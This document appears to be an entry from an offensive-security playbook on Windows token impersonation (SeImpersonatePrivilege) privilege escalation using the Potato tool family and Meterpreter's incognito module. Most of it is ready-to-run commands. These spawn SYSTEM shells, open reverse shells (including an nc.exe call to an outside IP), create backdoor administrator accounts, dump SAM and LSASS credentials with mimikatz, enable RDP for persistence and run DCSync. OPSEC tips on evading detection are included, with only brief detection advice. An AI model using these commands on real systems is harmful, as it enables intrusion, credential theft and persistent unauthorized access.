🟣 Attack #45 — Token Impersonation (SeImpersonatePrivilege)

📖 How It Works

Token Impersonation is a local privilege escalation technique that exploits the Windows SeImpersonatePrivilege (or SeAssignPrimaryTokenPrivilege) to escalate from a service account to NT AUTHORITY\SYSTEM — the highest privilege level on a Windows system. This privilege is granted by default to all service accounts, IIS AppPool identities, MSSQL service accounts, and any process running as NETWORK SERVICE or LOCAL SERVICE. If an attacker compromises any of these accounts (via web shell, SQL injection, etc.), they can escalate to SYSTEM in seconds.

How It Works Technically

1. The attacker controls a process with SeImpersonatePrivilege (e.g., a web shell running as IIS APPPOOL\DefaultAppPool)
2. The attacker creates a listener — typically a named pipe or a COM server that listens for incoming connections
3. A SYSTEM-level process is tricked into authenticating to the attacker’s listener — this is achieved by abusing various Windows services (Print Spooler, BITS, DCOM/COM objects, RPC endpoints)
4. The attacker captures the SYSTEM token — when the privileged process connects, Windows lets the attacker impersonate the connecting client’s security context because SeImpersonatePrivilege explicitly allows this
5. The attacker spawns a new process (cmd.exe, reverse shell, beacon) using the captured SYSTEM token

The “Potato” Family Evolution

The Potato exploit family has evolved over 8+ years as Microsoft patched specific coercion methods, spawning new variants:

Why Service Accounts Have This Privilege

# Check current privileges:
whoami /priv

# If you see either of these, you can escalate:
# SeImpersonatePrivilege        Impersonate a client after authentication   Enabled
# SeAssignPrimaryTokenPrivilege Replace a process level token               Enabled

# These accounts typically have SeImpersonatePrivilege:
# - IIS AppPool accounts (web shells)
# - MSSQL Server service accounts (xp_cmdshell)
# - NETWORK SERVICE
# - LOCAL SERVICE
# - Any Windows service account

⚙️ Prerequisites

🛠️ Tools

💻 Full Commands

🔵 Step 0 — Verify SeImpersonatePrivilege

# ── Check if you have the required privilege ──────────────────────────────────
whoami /priv

# Expected output for exploitable service accounts:
# Privilege Name                Description                               State
# ============================= ========================================= ========
# SeImpersonatePrivilege        Impersonate a client after authentication Enabled
# SeAssignPrimaryTokenPrivilege Replace a process level token             Disabled
#                               (either one is sufficient)

# ── Check who you are ─────────────────────────────────────────────────────────
whoami
# Expected: iis apppool\defaultapppool, nt service\mssqlserver, etc.

# ── Check OS version (to pick the right Potato) ──────────────────────────────
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"
[System.Environment]::OSVersion.Version

🔴 GodPotato (Recommended — Broadest Compatibility)

# ── Spawn a SYSTEM command prompt ─────────────────────────────────────────────
.\GodPotato.exe -cmd "cmd /c whoami"
# Output: nt authority\system

# ── Execute a reverse shell as SYSTEM ─────────────────────────────────────────
.\GodPotato.exe -cmd "cmd /c powershell -e <base64_reverse_shell>"

# ── Create a new admin user as SYSTEM ─────────────────────────────────────────
.\GodPotato.exe -cmd "cmd /c net user hacker P@ssword123! /add && net localgroup Administrators hacker /add"

# ── Dump SAM database ────────────────────────────────────────────────────────
.\GodPotato.exe -cmd "cmd /c reg save HKLM\SAM C:\Temp\SAM && reg save HKLM\SYSTEM C:\Temp\SYSTEM"

# ── Run Mimikatz as SYSTEM ────────────────────────────────────────────────────
.\GodPotato.exe -cmd "cmd /c C:\Temp\mimikatz.exe privilege::debug sekurlsa::logonpasswords exit > C:\Temp\creds.txt"

🔴 PrintSpoofer (Clean & Fast — Requires Print Spooler)

# ── Check if Print Spooler is running ─────────────────────────────────────────
Get-Service Spooler
sc query Spooler

# ── Spawn interactive SYSTEM shell ────────────────────────────────────────────
.\PrintSpoofer64.exe -i -c cmd
# Drops you into an interactive cmd.exe as SYSTEM

# ── Non-interactive command execution ─────────────────────────────────────────
.\PrintSpoofer64.exe -c "cmd /c whoami"
# Output: nt authority\system

# ── Reverse shell ─────────────────────────────────────────────────────────────
.\PrintSpoofer64.exe -c "cmd /c C:\Temp\nc.exe 10.10.14.5 4444 -e cmd.exe"

# ── 32-bit version (for 32-bit processes like IIS on x86 app pools) ──────────
.\PrintSpoofer32.exe -i -c cmd

🔴 JuicyPotato (Legacy — Older OS Only)

# ── Basic SYSTEM shell ────────────────────────────────────────────────────────
.\JuicyPotato.exe -l 1337 -p cmd.exe -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# -l = COM listener port (arbitrary)
# -p = program to launch as SYSTEM
# -t = createprocess call type (* = try both)
# -c = CLSID to abuse (varies by OS — see below)

# ── Execute specific command ──────────────────────────────────────────────────
.\JuicyPotato.exe -l 1337 -p cmd.exe -a "/c whoami > C:\Temp\whoami.txt" \
  -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# ── Reverse shell ─────────────────────────────────────────────────────────────
.\JuicyPotato.exe -l 1337 -p cmd.exe \
  -a "/c powershell -e <base64_reverse_shell>" \
  -t * -c {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}

# ── Common CLSIDs by OS ──────────────────────────────────────────────────────
# Windows 10 Pro:  {F87B28F1-DA9A-4F35-8EC0-800EFCF26B83}
# Windows Server 2016: {8F5DF053-3013-4dd8-B5F4-88214E81C0CF}
# Windows Server 2012: {e60687f7-01a1-40aa-86ac-db1cbf673334}
# Full CLSID list: https://github.com/ohpe/juicy-potato/blob/master/CLSID/README.md

🔴 EfsPotato (Modern Systems)

# ── Compile and run (requires .NET framework) ────────────────────────────────
.\EfsPotato.exe whoami
# Output: nt authority\system

# ── Execute command ───────────────────────────────────────────────────────────
.\EfsPotato.exe "cmd /c net user hacker P@ssword123! /add"
.\EfsPotato.exe "cmd /c net localgroup Administrators hacker /add"

🔴 SweetPotato (Multi-Method)

# ── Auto-detect best method ──────────────────────────────────────────────────
.\SweetPotato.exe -p cmd.exe -a "/c whoami"

# ── Specify method (PrintSpoofer technique) ───────────────────────────────────
.\SweetPotato.exe -e PrintSpoofer -p cmd.exe -a "/c whoami"

# ── WinRM method ──────────────────────────────────────────────────────────────
.\SweetPotato.exe -e WinRM -p cmd.exe -a "/c whoami"

# ── DCOM method (classic Juicy) ───────────────────────────────────────────────
.\SweetPotato.exe -e DCOM -p cmd.exe -a "/c whoami"

🔴 Meterpreter — Incognito Module (If Using Metasploit)

# ── From a Meterpreter session ────────────────────────────────────────────────
meterpreter> load incognito

# List available tokens
meterpreter> list_tokens -u
# Look for: NT AUTHORITY\SYSTEM, domain\admin_user, etc.

# Impersonate SYSTEM token
meterpreter> impersonate_token "NT AUTHORITY\SYSTEM"
# [+] Delegation token available
# [+] Successfully impersonated user NT AUTHORITY\SYSTEM

# Impersonate domain admin token (if one is logged in)
meterpreter> impersonate_token "CORP\domain_admin"

# Verify
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM

# Drop to shell
meterpreter> shell
C:\> whoami
nt authority\system

🔴 Post-Exploitation — After SYSTEM

# ── Once SYSTEM, extract all credentials ──────────────────────────────────────

# Dump all logon credentials from LSASS
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit

# Dump SAM database (local accounts)
reg save HKLM\SAM C:\Temp\SAM
reg save HKLM\SYSTEM C:\Temp\SYSTEM
reg save HKLM\SECURITY C:\Temp\SECURITY
# Exfiltrate and parse with secretsdump.py:
# secretsdump.py -sam SAM -system SYSTEM -security SECURITY LOCAL

# Enable RDP for persistence
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh advfirewall firewall set rule group="remote desktop" new enable=Yes

# Create a persistent admin account
net user backdoor P@ssword123! /add
net localgroup Administrators backdoor /add

# If domain-joined, DCSync is now possible from this machine
mimikatz.exe "privilege::debug" "lsadump::dcsync /domain:corp.local /user:krbtgt" exit

🎯 OPSEC Tips

• GodPotato is the safest choice — it works on the widest range of OS versions (2012-2022) and doesn’t require specific services to be running
• PrintSpoofer is fastest but requires Print Spooler — check sc query Spooler first; if it’s disabled, use GodPotato
• JuicyPotato won’t work on Windows 10 build 1809+ or Server 2019+ — Microsoft blocked the DCOM activation path
• Avoid dropping binaries to disk if possible — use in-memory execution via PowerShell reflection or .NET assembly loading
• The Potato exploit itself is not detected as easily as what you do AFTER getting SYSTEM — credential dumping and admin account creation are the loud parts
• Token impersonation via Meterpreter/Incognito is useful when there’s a logged-in admin session on the box — you can steal their token without knowing their password

🛡️ Detection — Event IDs

Primary detection signature: Monitor for unexpected parent-child process relationships involving service accounts. If w3wp.exe (IIS), sqlservr.exe (MSSQL), or svchost.exe spawns cmd.exe or powershell.exe as SYSTEM, that is a near-certain indicator of token impersonation. Sysmon with proper configuration provides the most reliable detection through process creation events with full command lines and named pipe monitoring.

🔗 Attack Chain Context

[Token Impersonation] ──→ Local SYSTEM Privilege Escalation
         │
         ├──→ 🌐 Web shell (IIS) → SeImpersonatePrivilege → SYSTEM → credentials
         ├──→ 🗄️ SQL injection (MSSQL xp_cmdshell) → SYSTEM → lateral movement
         ├──→ 🔑 SYSTEM → dump LSASS → extract domain creds → DCSync
         ├──→ 💻 SYSTEM → read DPAPI secrets, SAM hives, LSA secrets
         ├──→ 🔗 Chain with: PtH (Attack #4), DCSync (#37), lateral movement (#54-60)
         ├──→ 🔄 Commonly the first escalation after initial web/SQL compromise
         └──→ 💀 Defeated by: don't grant SeImpersonatePrivilege, use gMSAs, patch

Token Impersonation is the most common local privilege escalation in real-world engagements. Nearly every web application compromise or SQL injection that yields command execution results in a service account shell with SeImpersonatePrivilege — and from there, SYSTEM is one binary execution away.

✅ Attack #45 — Token Impersonation complete.